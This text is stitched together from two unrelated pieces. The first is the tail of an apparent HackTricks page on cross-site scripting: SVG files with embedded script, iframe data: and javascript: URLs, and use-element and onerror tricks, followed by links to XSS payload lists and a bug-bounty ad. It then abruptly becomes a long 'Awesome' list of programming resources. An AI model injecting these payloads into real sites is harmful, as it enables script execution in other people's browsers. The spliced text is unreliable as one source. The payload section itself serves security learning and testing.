<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
```
```markup
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
```
```markup
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
```
```svg
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
```
```html
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
```
```xml
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
```
Find **more SVG payloads in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Misc JS Tricks & Relevant Info
{% content-ref url="other-js-tricks.md" %}
[other-js-tricks.md](other-js-tricks.md)
{% endcontent-ref %}
## XSS resources
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection)
* [http://www.xss-payloads.com](http://www.xss-payloads.com) [https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt](https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt) [https://github.com/materaj/xss-list](https://github.com/materaj/xss-list)
* [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list)
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
### XSS TOOLS
Find some [**tools for XSS here**](xss-tools.md)**.**
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
|
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<img width="500" height="350" src="media/logo.svg" alt="Awesome">
<br>
<br>
<hr>
<p>
<p>
<sup>
<a href="https://github.com/sponsors/sindresorhus">My open source work is supported by the community</a>
</sup>
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<a href="https://github.com/botpress/botpress">
<img src="https://sindresorhus.com/assets/thanks/botpress-logo.svg" width="260" alt="Botpress">
</a>
<br>
<sub><b>Botpress is an open-source conversational assistant creation platform.</b></sub>
<br>
<sub>They <a href="https://github.com/botpress/botpress/blob/master/.github/CONTRIBUTING.md">welcome contributions</a> from anyone, whether you're into machine learning,<br>want to get started in open-source, or just have an improvement idea.</sub>
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<hr>
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<p align="center">
<a href="awesome.md">What is an awesome list?</a>
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</p>
<br>
## Contents
- [Platforms](#platforms)
- [Programming Languages](#programming-languages)
- [Front-End Development](#front-end-development)
- [Back-End Development](#back-end-development)
- [Computer Science](#computer-science)
- [Big Data](#big-data)
- [Theory](#theory)
- [Books](#books)
- [Editors](#editors)
- [Gaming](#gaming)
- [Development Environment](#development-environment)
- [Entertainment](#entertainment)
- [Databases](#databases)
- [Media](#media)
- [Learn](#learn)
- [Security](#security)
- [Content Management Systems](#content-management-systems)
- [Hardware](#hardware)
- [Business](#business)
- [Work](#work)
- [Networking](#networking)
- [Decentralized Systems](#decentralized-systems)
- [Higher Education](#higher-education)
- [Miscellaneous](#miscellaneous)
- [Related](#related)
---
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---
## Platforms
- [Node.js](https://github.com/sindresorhus/awesome-nodejs#readme) - Async non-blocking event-driven JavaScript runtime built on Chrome's V8 JavaScript engine.
- [Cross-Platform](https://github.com/bcoe/awesome-cross-platform-nodejs#readme) - Writing cross-platform code on Node.js.
- [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks#readme)
- [iOS](https://github.com/vsouza/awesome-ios#readme) - Mobile operating system for Apple phones and tablets.
- [Android](https://github.com/JStumpp/awesome-android#readme) - Mobile operating system developed by Google.
- [IoT & Hybrid Apps](https://github.com/weblancaster/awesome-IoT-hybrid#readme)
- [Electron](https://github.com/sindresorhus/awesome-electron#readme) - Cross-platform native desktop apps using JavaScript/HTML/CSS.
- [Cordova](https://github.com/busterc/awesome-cordova#readme) - JavaScript API for hybrid apps.
- [React Native](https://github.com/jondot/awesome-react-native#readme) - JavaScript framework for writing natively rendering mobile apps for iOS and Android.
- [Xamarin](https://github.com/XamSome/awesome-xamarin#readme) - Mobile app development IDE, testing, and distribution.
- [Linux](https://github.com/aleksandar-todorovic/awesome-linux#readme)
- [Containers](https://github.com/Friz-zy/awesome-linux-containers#readme)
- [eBPF](https://github.com/zoidbergwill/awesome-ebpf#readme) - Virtual machine that allows you to write more efficient and powerful tracing and monitoring for Linux systems.
- [Arch-based Projects](https://github.com/PandaFoss/Awesome-Arch#readme) - Linux distributions and projects based on Arch Linux.
- [macOS](https://github.com/iCHAIT/awesome-macOS#readme) - Operating system for Apple's Mac computers.
- [Command-Line](https://github.com/herrbischoff/awesome-macos-command-line#readme)
- [Screensavers](https://github.com/agarrharr/awesome-macos-screensavers#readme)
- [Apps](https://github.com/jaywcjlove/awesome-mac#readme)
- [Open Source Apps](https://github.com/serhii-londar/open-source-mac-os-apps#readme)
- [watchOS](https://github.com/yenchenlin/awesome-watchos#readme) - Operating system for the Apple Watch.
- [JVM](https://github.com/deephacks/awesome-jvm#readme)
- [Salesforce](https://github.com/mailtoharshit/awesome-salesforce#readme)
- [Amazon Web Services](https://github.com/donnemartin/awesome-aws#readme)
- [Windows](https://github.com/Awesome-Windows/Awesome#readme)
- [IPFS](https://github.com/ipfs/awesome-ipfs#readme) - P2P hypermedia protocol.
- [Fuse](https://github.com/fuse-compound/awesome-fuse#readme) - Mobile development tools.
- [Heroku](https://github.com/ianstormtaylor/awesome-heroku#readme) - Cloud platform as a service.
- [Raspberry Pi](https://github.com/thibmaek/awesome-raspberry-pi#readme) - Credit card-sized computer aimed at teaching kids programming, but capable of a lot more.
- [Qt](https://github.com/JesseTG/awesome-qt#readme) - Cross-platform GUI app framework.
- [WebExtensions](https://github.com/fregante/Awesome-WebExtensions#readme) - Cross-browser extension system.
- [RubyMotion](https://github.com/motion-open-source/awesome-rubymotion#readme) - Write cross-platform native apps for iOS, Android, macOS, tvOS, and watchOS in Ruby.
- [Smart TV](https://github.com/vitalets/awesome-smart-tv#readme) - Create apps for different TV platforms.
- [GNOME](https://github.com/Kazhnuz/awesome-gnome#readme) - Simple and distraction-free desktop environment for Linux.
- [KDE](https://github.com/francoism90/awesome-kde#readme) - A free software community dedicated to creating an open and user-friendly computing experience.
- [.NET](https://github.com/quozd/awesome-dotnet#readme)
- [Core](https://github.com/thangchung/awesome-dotnet-core#readme)
- [Roslyn](https://github.com/ironcev/awesome-roslyn#readme) - Open-source compilers and code analysis APIs for C# and VB.NET languages.
- [Amazon Alexa](https://github.com/miguelmota/awesome-amazon-alexa#readme) - Virtual home assistant.
- [DigitalOcean](https://github.com/jonleibowitz/awesome-digitalocean#readme) - Cloud computing platform designed for developers.
- [Flutter](https://github.com/Solido/awesome-flutter#readme) - Google's mobile SDK for building native iOS and Android apps from a single codebase written in Dart.
- [Home Assistant](https://github.com/frenck/awesome-home-assistant#readme) - Open source home automation that puts local control and privacy first.
- [IBM Cloud](https://github.com/victorshinya/awesome-ibmcloud#readme) - Cloud platform for developers and companies.
- [Firebase](https://github.com/jthegedus/awesome-firebase#readme) - App development platform built on Google Cloud Platform.
- [Robot Operating System 2.0](https://github.com/fkromer/awesome-ros2#readme) - Set of software libraries and tools that help you build robot apps.
- [Adafruit IO](https://github.com/adafruit/awesome-adafruitio#readme) - Visualize and store data from any device.
- [Cloudflare](https://github.com/irazasyed/awesome-cloudflare#readme) - CDN, DNS, DDoS protection, and security for your site.
- [Actions on Google](https://github.com/ravirupareliya/awesome-actions-on-google#readme) - Developer platform for Google Assistant.
## Programming Languages
- [JavaScript](https://github.com/sorrycc/awesome-javascript#readme)
- [Promises](https://github.com/wbinnssmith/awesome-promises#readme)
- [Standard Style](https://github.com/standard/awesome-standard#readme) - Style guide and linter.
- [Must Watch Talks](https://github.com/bolshchikov/js-must-watch#readme)
- [Tips](https://github.com/loverajoel/jstips#readme)
- [Network Layer](https://github.com/Kikobeats/awesome-network-js#readme)
- [Micro npm Packages](https://github.com/parro-it/awesome-micro-npm-packages#readme)
- [Mad Science npm Packages](https://github.com/feross/awesome-mad-science#readme) - Impossible sounding projects that exist.
- [Maintenance Modules](https://github.com/maxogden/maintenance-modules#readme) - For npm packages.
- [npm](https://github.com/sindresorhus/awesome-npm#readme) - Package manager.
- [AVA](https://github.com/avajs/awesome-ava#readme) - Test runner.
- [ESLint](https://github.com/dustinspecker/awesome-eslint#readme) - Linter.
- [Functional Programming](https://github.com/stoeffel/awesome-fp-js#readme)
- [Observables](https://github.com/sindresorhus/awesome-observables#readme)
- [npm scripts](https://github.com/RyanZim/awesome-npm-scripts#readme) - Task runner.
- [30 Seconds of Code](https://github.com/30-seconds/30-seconds-of-code#readme) - Code snippets you can understand in 30 seconds.
- [Swift](https://github.com/matteocrippa/awesome-swift#readme) - Apple's compiled programming language that is secure, modern, programmer-friendly, and fast.
- [Education](https://github.com/hsavit1/Awesome-Swift-Education#readme)
- [Playgrounds](https://github.com/uraimo/Awesome-Swift-Playgrounds#readme)
- [Python](https://github.com/vinta/awesome-python#readme) - General-purpose programming language designed for readability.
- [Asyncio](https://github.com/timofurrer/awesome-asyncio#readme) - Asynchronous I/O in Python 3.
- [Scientific Audio](https://github.com/faroit/awesome-python-scientific-audio#readme) - Scientific research in audio/music.
- [CircuitPython](https://github.com/adafruit/awesome-circuitpython#readme) - A version of Python for microcontrollers.
- [Data Science](https://github.com/krzjoa/awesome-python-data-science#readme) - Data analysis and machine learning.
- [Typing](https://github.com/typeddjango/awesome-python-typing#readme) - Optional static typing for Python.
- [Rust](https://github.com/rust-unofficial/awesome-rust#readme)
- [Haskell](https://github.com/krispo/awesome-haskell#readme)
- [PureScript](https://github.com/passy/awesome-purescript#readme)
- [Go](https://github.com/avelino/awesome-go#readme)
- [Scala](https://github.com/lauris/awesome-scala#readme)
- [Scala Native](https://github.com/tindzk/awesome-scala-native#readme) - Optimizing ahead-of-time compiler for Scala based on LLVM.
- [Ruby](https://github.com/markets/awesome-ruby#readme)
- [Clojure](https://github.com/razum2um/awesome-clojure#readme)
- [ClojureScript](https://github.com/hantuzun/awesome-clojurescript#readme)
- [Elixir](https://github.com/h4cc/awesome-elixir#readme)
- [Elm](https://github.com/sporto/awesome-elm#readme)
- [Erlang](https://github.com/drobakowski/awesome-erlang#readme)
- [Julia](https://github.com/svaksha/Julia.jl#readme)
- [Lua](https://github.com/LewisJEllis/awesome-lua#readme)
- [C](https://github.com/aleksandar-todorovic/awesome-c#readme)
- [C/C++](https://github.com/fffaraz/awesome-cpp#readme) - General-purpose language with a bias toward system programming and embedded, resource-constrained software.
- [R](https://github.com/qinwf/awesome-R#readme)
- [D](https://github.com/zhaopuming/awesome-d#readme)
- [Common Lisp](https://github.com/CodyReichert/awesome-cl#readme)
- [Perl](https://github.com/hachiojipm/awesome-perl#readme)
- [Groovy](https://github.com/kdabir/awesome-groovy#readme)
- [Dart](https://github.com/yissachar/awesome-dart#readme)
- [Java](https://github.com/akullpp/awesome-java#readme) - Popular secure object-oriented language designed for flexibility to "write once, run anywhere".
- [RxJava](https://github.com/eleventigers/awesome-rxjava#readme)
- [Kotlin](https://github.com/KotlinBy/awesome-kotlin#readme)
- [OCaml](https://github.com/ocaml-community/awesome-ocaml#readme)
- [ColdFusion](https://github.com/seancoyne/awesome-coldfusion#readme)
- [Fortran](https://github.com/rabbiabram/awesome-fortran#readme)
- [PHP](https://github.com/ziadoz/awesome-php#readme) - Server-side scripting language.
- [Composer](https://github.com/jakoch/awesome-composer#readme) - Package manager.
- [Pascal](https://github.com/Fr0sT-Brutal/awesome-pascal#readme)
- [Assembler](https://github.com/lurumdare/awesome-asm#readme)
- [AutoHotkey](https://github.com/ahkscript/awesome-AutoHotkey#readme)
- [AutoIt](https://github.com/J2TeaM/awesome-AutoIt#readme)
- [Crystal](https://github.com/veelenga/awesome-crystal#readme)
- [Frege](https://github.com/sfischer13/awesome-frege#readme) - Haskell for the JVM.
- [CMake](https://github.com/onqtam/awesome-cmake#readme) - Build, test, and package software.
- [ActionScript 3](https://github.com/robinrodricks/awesome-actionscript3#readme) - Object-oriented language targeting Adobe AIR.
- [Eta](https://github.com/sfischer13/awesome-eta#readme) - Functional programming language for the JVM.
- [Idris](https://github.com/joaomilho/awesome-idris#readme) - General purpose pure functional programming language with dependent types influenced by Haskell and ML.
- [Ada/SPARK](https://github.com/ohenley/awesome-ada#readme) - Modern programming language designed for large, long-lived apps where reliability and efficiency are essential.
- [Q#](https://github.com/ebraminio/awesome-qsharp#readme) - Domain-specific programming language used for expressing quantum algorithms.
- [Imba](https://github.com/koolamusic/awesome-imba#readme) - Programming language inspired by Ruby and Python and compiles to performant JavaScript.
- [Vala](https://github.com/desiderantes/awesome-vala#readme) - Programming language designed to take full advantage of the GLib and GNOME ecosystems, while preserving the speed of C code.
## Front-End Development
- [ES6 Tools](https://github.com/addyosmani/es6-tools#readme)
- [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo#readme)
- [Web Tools](https://github.com/lvwzhen/tools#readme)
- [CSS](https://github.com/awesome-css-group/awesome-css#readme) - Style sheet language that specifies how HTML elements are displayed on screen.
- [Critical-Path Tools](https://github.com/addyosmani/critical-path-css-tools#readme)
- [Scalability](https://github.com/davidtheclark/scalable-css-reading-list#readme)
- [Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css#readme)
- [Protips](https://github.com/AllThingsSmitty/css-protips#readme)
- [Frameworks](https://github.com/troxler/awesome-css-frameworks#readme)
- [React](https://github.com/enaqx/awesome-react#readme) - App framework.
- [Relay](https://github.com/expede/awesome-relay#readme) - Framework for building data-driven React apps.
- [React Hooks](https://github.com/glauberfc/awesome-react-hooks#readme) - A new feature that lets you use state and other React features without writing a class.
- [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way#readme)
- [Polymer](https://github.com/Granze/awesome-polymer#readme) - JavaScript library to develop Web Components.
- [Angular](https://github.com/PatrickJS/awesome-angular#readme) - App framework.
- [Backbone](https://github.com/sadcitizen/awesome-backbone#readme) - App framework.
- [HTML5](https://github.com/diegocard/awesome-html5#readme) - Markup language used for websites & web apps.
- [SVG](https://github.com/willianjusten/awesome-svg#readme) - XML-based vector image format.
- [Canvas](https://github.com/raphamorim/awesome-canvas#readme)
- [KnockoutJS](https://github.com/dnbard/awesome-knockout#readme) - JavaScript library.
- [Dojo Toolkit](https://github.com/petk/awesome-dojo#readme) - JavaScript toolkit.
- [Inspiration](https://github.com/NoahBuscher/Inspire#readme)
- [Ember](https://github.com/ember-community-russia/awesome-ember#readme) - App framework.
- [Android UI](https://github.com/wasabeef/awesome-android-ui#readme)
- [iOS UI](https://github.com/cjwirth/awesome-ios-ui#readme)
- [Meteor](https://github.com/Urigo/awesome-meteor#readme)
- [BEM](https://github.com/sturobson/BEM-resources#readme)
- [Flexbox](https://github.com/afonsopacifer/awesome-flexbox#readme)
- [Web Typography](https://github.com/deanhume/typography#readme)
- [Web Accessibility](https://github.com/brunopulis/awesome-a11y#readme)
- [Material Design](https://github.com/sachin1092/awesome-material#readme)
- [D3](https://github.com/wbkd/awesome-d3#readme) - Library for producing dynamic, interactive data visualizations.
- [Emails](https://github.com/jonathandion/awesome-emails#readme)
- [jQuery](https://github.com/petk/awesome-jquery#readme) - Easy to use JavaScript library for DOM manipulation.
- [Tips](https://github.com/AllThingsSmitty/jquery-tips-everyone-should-know#readme)
- [Web Audio](https://github.com/notthetup/awesome-webaudio#readme)
- [Offline-First](https://github.com/pazguille/offline-first#readme)
- [Static Website Services](https://github.com/agarrharr/awesome-static-website-services#readme)
- [Cycle.js](https://github.com/cyclejs-community/awesome-cyclejs#readme) - Functional and reactive JavaScript framework.
- [Text Editing](https://github.com/dok/awesome-text-editing#readme)
- [Motion UI Design](https://github.com/fliptheweb/motion-ui-design#readme)
- [Vue.js](https://github.com/vuejs/awesome-vue#readme) - App framework.
- [Marionette.js](https://github.com/sadcitizen/awesome-marionette#readme) - App framework.
- [Aurelia](https://github.com/aurelia-contrib/awesome-aurelia#readme) - App framework.
- [Charting](https://github.com/zingchart/awesome-charting#readme)
- [Ionic Framework 2](https://github.com/candelibas/awesome-ionic#readme)
- [Chrome DevTools](https://github.com/ChromeDevTools/awesome-chrome-devtools#readme)
- [PostCSS](https://github.com/jdrgomes/awesome-postcss#readme) - CSS tool.
- [Draft.js](https://github.com/nikgraf/awesome-draft-js#readme) - Rich text editor framework for React.
- [Service Workers](https://github.com/TalAter/awesome-service-workers#readme)
- [Progressive Web Apps](https://github.com/TalAter/awesome-progressive-web-apps#readme)
- [choo](https://github.com/choojs/awesome-choo#readme) - App framework.
- [Redux](https://github.com/brillout/awesome-redux#readme) - State container for JavaScript apps.
- [webpack](https://github.com/webpack-contrib/awesome-webpack#readme) - Module bundler.
- [Browserify](https://github.com/browserify/awesome-browserify#readme) - Module bundler.
- [Sass](https://github.com/Famolus/awesome-sass#readme) - CSS preprocessor.
- [Ant Design](https://github.com/websemantics/awesome-ant-design#readme) - Enterprise-class UI design language.
- [Less](https://github.com/LucasBassetti/awesome-less#readme) - CSS preprocessor.
- [WebGL](https://github.com/sjfricke/awesome-webgl#readme) - JavaScript API for rendering 3D graphics.
- [Preact](https://github.com/ooade/awesome-preact#readme) - App framework.
- [Progressive Enhancement](https://github.com/jbmoelker/progressive-enhancement-resources#readme)
- [Next.js](https://github.com/unicodeveloper/awesome-nextjs#readme) - Framework for server-rendered React apps.
- [Hyperapp](https://github.com/jorgebucaran/awesome-hyperapp#readme) - Tiny JavaScript library for building web apps.
- [lit-html](https://github.com/web-padawan/awesome-lit-html#readme) - HTML templating library for JavaScript.
- [JAMstack](https://github.com/automata/awesome-jamstack#readme) - Modern web development architecture based on client-side JavaScript, reusable APIs, and prebuilt markup.
- [WordPress-Gatsby](https://github.com/henrikwirth/awesome-wordpress-gatsby#readme) - Web development technology stack with WordPress as a back end and Gatsby as a front end.
- [Mobile Web Development](https://github.com/myshov/awesome-mobile-web-development#readme) - Creating a great mobile web experience.
- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [Web Performance Metrics](https://github.com/csabapalfi/awesome-web-performance-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
## Back-End Development
- [Flask](https://github.com/humiaozuzu/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [Rails](https://github.com/ekremkaraca/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/bulutyazilim/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousmac/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/mre/awesome-static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Free Software Testing Books](https://github.com/ligurio/awesome-software-quality#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Networking](https://github.com/MFatihMAR/Awesome-Game-Networking#readme) - Network programming for multiplayer online games.
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awesome-fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/derimagia/awesome-alfred-workflows#readme) - Productivity app for macOS.
